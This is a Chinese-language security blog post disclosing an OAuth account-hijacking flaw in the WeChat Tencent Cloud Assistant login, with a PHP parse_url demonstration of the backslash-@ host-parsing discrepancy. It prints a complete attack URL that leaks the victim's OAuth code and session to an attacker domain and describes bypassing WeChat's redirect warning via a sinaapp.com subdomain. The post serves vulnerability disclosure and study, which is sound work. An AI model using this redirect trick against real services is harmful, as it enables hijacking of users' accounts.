腾讯云助手用户帐号劫持

之前在检测腾讯云安全的时候发现了一个oauth的问题,可以导致账号劫持。

问题出现微信腾讯云助手公共号的登陆上。在按照oauth2的标准,redirect_uri需要检查返回地址的host,微信的回调api严格检查了回调地址的host必须为login.cm.qcloud.com。但是,由于这个回调地址又做了一次重定向,这个重定向对host解析有误,导致oauth的code以及用于腾讯云助手的session泄露,让攻击者可以以受害者的身份登录。

攻击测试url:
http://sz.open.weixin.qq.com/connect/oauth2/authorize?appid=wx32d9ff109a3f81eb&redirect_uri=http%3A%2F%2Flogin.cm.qcloud.com%2Fauth%2Fredirect%3FandBind%3D0%26type%3Dweixin%26env%3Dproduct%26r%3Dao8tj%26redirect%3Dhttp%253A%252F%252F5alt.me%3f@yun.weixin.qcloud.com%252Findex%252Fcvmlist%253Ffrom_wx_login%253D1%26from_wx_oauth%3D1&response_type=code&scope=snsapi_base
发现会携带敏感信息跳转到攻击者受控的域名5alt.me上。

当然由于微信的安全机制,跳转到恶意域名会有一个中转页面,阻止进一步的跳转。但是经过测试,微信并没有拦截新浪云的二级域名。如果攻击者在新浪云注册5alt.sinaapp.com的应用并部署记录代码,即可从referer里获取oauth2返回的code并且从url里获取认证之后的session,从而登陆受害者的腾讯云助手页面。

造成这个问题的原因猜测是腾讯云用了类似php中parse_url这样的函数来解析回调的地址,获取主机域名。

1
2
3
4
5
6
7
8
9
php > var_dump(parse_url('http://5alt.me\@qcloud.com'));
array(3) {
["scheme"]=>
string(4) "http"
["host"]=>
string(10) "qcloud.com"
["user"]=>
string(8) "5alt.me\"
}

由代码运行结果可知,函数对http://5alt.me\@qcloud.com解析的host为qcloud.com,而由于各个浏览器对协议的理解不同,Chrome和Safari都会访问到http://5alt.me,而只有Firefox会访问到qcloud.com。(IE是什么?怎么从来没听说过?)而微信使用的是Chrome的内核,利用这个性质,可以成功在微信里发起这个攻击。

分享到 评论